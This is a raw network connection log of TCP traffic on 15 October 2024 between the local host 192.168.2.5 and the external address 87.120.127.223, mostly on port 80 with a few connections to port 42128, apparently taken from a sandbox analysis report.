Oct 15, 2024 19:22:35.763477087 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.763478041 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.763642073 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.763693094 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.763696909 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.766760111 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.766793013 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.766825914 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.766832113 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.766973972 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.770533085 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.770567894 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.770642042 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.770651102 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.770675898 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.770710945 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.770765066 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.770948887 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.771003008 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.771032095 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.771049023 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.771090984 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.771307945 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.771361113 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.771413088 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.771445036 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.845002890 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.845043898 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.845057964 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.845081091 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.845186949 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.876297951 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.881365061 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.881441116 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.881836891 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.884339094 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.884397030 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.884430885 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.884459972 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.884481907 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.884516001 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.884536982 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.884548903 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.884624958 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.886666059 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.888310909 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.888340950 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.888391018 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.888415098 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.888420105 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.888520956 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.892328024 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.892360926 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.892394066 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.892426014 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.892443895 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.892465115 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.892493963 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.892591000 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.892642975 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.892674923 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.892692089 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.892707109 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.892721891 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.893193960 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.893223047 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.893243074 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.967586994 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.967618942 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.967645884 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:35.967670918 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.967699051 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:35.967715025 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.008713961 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.008771896 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.008773088 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.008805990 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.008840084 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.008872986 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.008891106 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.008923054 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.012872934 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.012927055 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.012959957 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.012974977 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.016371012 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.016427040 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.016458988 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.016470909 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.016494036 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.016503096 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.016727924 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.016761065 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.016804934 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.016810894 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.016843081 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.016854048 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.016876936 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.017749071 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.057769060 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.057806969 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.057833910 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.057859898 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.057861090 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.057940960 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.061475992 CEST	49809	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.066469908 CEST	42128	49809	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.066553116 CEST	49809	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.072583914 CEST	49809	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.077503920 CEST	42128	49809	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.091322899 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.091414928 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.091469049 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.091475964 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.130433083 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.130501032 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.130511999 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.130551100 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.130588055 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.130609035 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.130623102 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.130779982 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.130830050 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.133730888 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.133788109 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.133791924 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.133826017 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.133874893 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.137358904 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.137388945 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.137434006 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.137439966 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.137471914 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.137505054 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.137521029 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.137811899 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.137864113 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.137867928 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.137896061 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.137943983 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.138242960 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.138277054 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.138309956 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.138325930 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.138345957 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.138402939 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.179615021 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.179709911 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.179745913 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.179780960 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.213987112 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.214031935 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.214067936 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.214226961 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.214226961 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.255484104 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.255520105 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.255553961 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.255573988 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.259330988 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.259396076 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.259476900 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.259526968 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.259561062 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.259593964 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.259593964 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.259641886 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.261369944 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.261421919 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.261456013 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.261470079 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.261488914 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.261521101 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.261563063 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.261742115 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.261790991 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.261791945 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.261845112 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.261893988 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.261894941 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.261928082 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.261985064 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.306849957 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.306871891 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.306889057 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.306926012 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.337251902 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.337287903 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.337313890 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.337344885 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.337380886 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.337433100 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.379576921 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.379597902 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.379626989 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.379627943 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.379643917 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.379661083 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.379671097 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.379913092 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.383682013 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.383738995 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.383754969 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.383773088 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.383784056 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.383826971 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.383867979 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.384167910 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.384216070 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.386095047 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.386128902 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.386145115 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.386173964 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.386250973 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.386266947 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.386284113 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.386292934 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.386326075 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.386518002 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.386574030 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.386589050 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.386605024 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.386636972 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.386662960 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.426280022 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.426318884 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.426354885 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.426377058 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.432065964 CEST	49809	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.437038898 CEST	42128	49809	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.457664013 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.457743883 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.457766056 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.457777023 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.457830906 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.497282982 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.497339964 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.497392893 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.497400045 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.497426987 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.497461081 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.497479916 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.503184080 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.503216982 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.503237963 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.503271103 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.503314972 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.503324032 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.503360033 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.503417015 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.503462076 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.503614902 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.503644943 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.503668070 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.503993988 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.504050016 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.504065990 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.504100084 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.504184008 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.504214048 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.504218102 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.504251957 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.504262924 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.504719973 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.504753113 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.504772902 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.543858051 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.543929100 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.544008970 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.544042110 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.544126034 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.575417042 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.575509071 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.575546026 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.575572014 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.614084959 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.614145994 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.614146948 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.614182949 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.614233017 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.614270926 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.614305973 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.614444017 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.618427038 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.618484974 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.618516922 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.618534088 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.620877981 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.620985985 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.621010065 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.621043921 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.621092081 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.621110916 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.621146917 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.621197939 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.621249914 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.621892929 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.621944904 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.621990919 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.622020960 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.622075081 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.622107983 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.622138023 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.622143030 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.622162104 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.622178078 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.622212887 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.622248888 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.661921024 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.661973000 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.661988020 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.662005901 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.662156105 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.693443060 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.693473101 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.693506002 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.693526983 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.693538904 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.693589926 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.730935097 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.730986118 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.731018066 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.731046915 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.731050968 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.731087923 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.731101036 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.731121063 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.731167078 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.734910011 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.734939098 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.734988928 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.734991074 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.735017061 CEST	80	49793	87.120.127.223	192.168.2.5
